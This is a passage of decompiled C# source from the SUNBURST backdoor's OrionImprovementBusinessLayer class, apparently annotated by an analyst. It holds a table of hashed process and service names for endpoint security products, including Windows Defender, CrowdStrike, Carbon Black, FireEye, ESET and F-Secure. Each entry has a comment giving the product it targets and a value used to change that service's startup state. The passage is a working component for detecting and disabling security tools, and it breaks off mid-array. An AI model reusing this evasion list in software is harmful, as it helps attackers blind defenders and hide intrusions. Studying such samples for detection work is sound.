private static readonly OrionImprovementBusinessLayer.ServiceConfiguration[] svcList = new OrionImprovementBusinessLayer.ServiceConfiguration[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
5183687599225757871UL /* msmpeng (Windows Defender - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 917638920165491138UL /* windefend (Windows Defender - EDR) */,
started = true
}
}
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
10063651499895178962UL /* mssense (Windows Defender ATP - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 16335643316870329598UL /* sense (Windows Defender ATP - EDR) */,
started = true
}
}
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
10501212300031893463UL /* microsoft.tri.sensor (MS Azure ATP - EDR) */,
155978580751494388UL /* microsoft.tri.sensor.updater (MS Azure ATP - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[0]
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
17204844226884380288UL /* cavp (Comodo? - Antivirus?) */,
5984963105389676759UL /* cb (Carbon Black - App allowlisting) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 11385275378891906608UL /* carbonblack (Carbon Black - App allowlisting) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 13693525876560827283UL /* carbonblackk (Carbon Black - App allowlisting) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 17849680105131524334UL /* cbcomms (Carbon Black - App allowlisting) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 18246404330670877335UL /* cbstream (Carbon Black - App allowlisting) */,
DefaultValue = 3U
}
}
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
8698326794961817906UL /* csfalconservice (Crowdstrike Falcon - EDR) */,
9061219083560670602UL /* csfalconcontainer (Crowdstrike Falcon - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 11771945869106552231UL /* csagent (Crowdstrike - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 9234894663364701749UL /* csdevicecontrol (Crowdstrike - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 8698326794961817906UL /* csfalconservice (Crowdstrike Falcon - EDR) */,
DefaultValue = 2U
}
}
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
15695338751700748390UL /* xagt (FireEye - EDR) */,
640589622539783622UL /* xagtnotif (FireEye - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 15695338751700748390UL /* xagt (FireEye - EDR) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 9384605490088500348UL /* fe_avk (FireEye - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 6274014997237900919UL /* fekern (FireEye - Forensics) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 15092207615430402812UL /* feelam (ESET - EDR) */,
DefaultValue = 0U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3320767229281015341UL /* fewscservice (FireEye - Forensics) */,
DefaultValue = 3U
}
}
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
3200333496547938354UL /* ekrn (ESET - EDR) */,
14513577387099045298UL /* eguiproxy (ESET - EDR) */,
607197993339007484UL /* egui (ESET - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 15587050164583443069UL /* eamonm (ESET - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 9559632696372799208UL /* eelam (ESET - EDR) */,
DefaultValue = 0U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 4931721628717906635UL /* ehdrv (ESET - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3200333496547938354UL /* ekrn (ESET - EDR) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 2589926981877829912UL /* ekrnepfw (ESET - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 17997967489723066537UL /* epfwwfp (ESET - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 14079676299181301772UL /* ekbdflt (ESET - EDR) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 17939405613729073960UL /* epfw (ESET - EDR) */,
DefaultValue = 1U
}
}
},
new OrionImprovementBusinessLayer.ServiceConfiguration
{
timeStamps = new ulong[]
{
521157249538507889UL /* fsgk32st (F-Secure - EDR) */,
14971809093655817917UL /* fswebuid (F-Secure - EDR) */,
10545868833523019926UL /* fsgk32 (F-Secure - EDR) */,
15039834196857999838UL /* fsma32 (F-Secure - EDR) */,
14055243717250701608UL /* fssm32 (F-Secure - EDR) */,
5587557070429522647UL /* fnrb32 (F-Secure - EDR) */,
12445177985737237804UL /* fsaua (F-Secure - EDR) */,
17978774977754553159UL /* fsorsp (F-Secure ORSP - EDR) */,
17017923349298346219UL /* fsav32 (F-Secure - EDR) */
},
Svc = new OrionImprovementBusinessLayer.ServiceConfiguration.Service[]
{
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 17624147599670377042UL /* f-secure gatekeeper handler starter (F-Secure - EDR) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 16066651430762394116UL /* f-secure network request broker (F-Secure - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 13655261125244647696UL /* f-secure webui daemon (F-Secure - EDR) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 12445177985737237804UL /* fsaua (F-Secure - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3421213182954201407UL /* fsma (F-Secure - EDR) */,
DefaultValue = 2U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 14243671177281069512UL /* fsorspclient (F-Secure ORSP - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 16112751343173365533UL /* f-secure gatekeeper (F-Secure - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3425260965299690882UL /* f-secure hips (F-Secure - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 9333057603143916814UL /* fsbts (F-Secure - EDR) */,
DefaultValue = 0U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3413886037471417852UL /* fsni (F-Secure - EDR) */,
DefaultValue = 3U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 7315838824213522000UL /* fsvista (F-Secure - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 13783346438774742614UL /* f-secure filter (F-Secure - EDR) */,
DefaultValue = 4U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 2380224015317016190UL /* f-secure recognizer (F-Secure - EDR) */,
DefaultValue = 4U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3413052607651207697UL /* fses (F-Secure - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{
timeStamp = 3407972863931386250UL /* fsfw (F-Secure - EDR) */,
DefaultValue = 1U
},
new OrionImprovementBusinessLayer.ServiceConfiguration.Service
{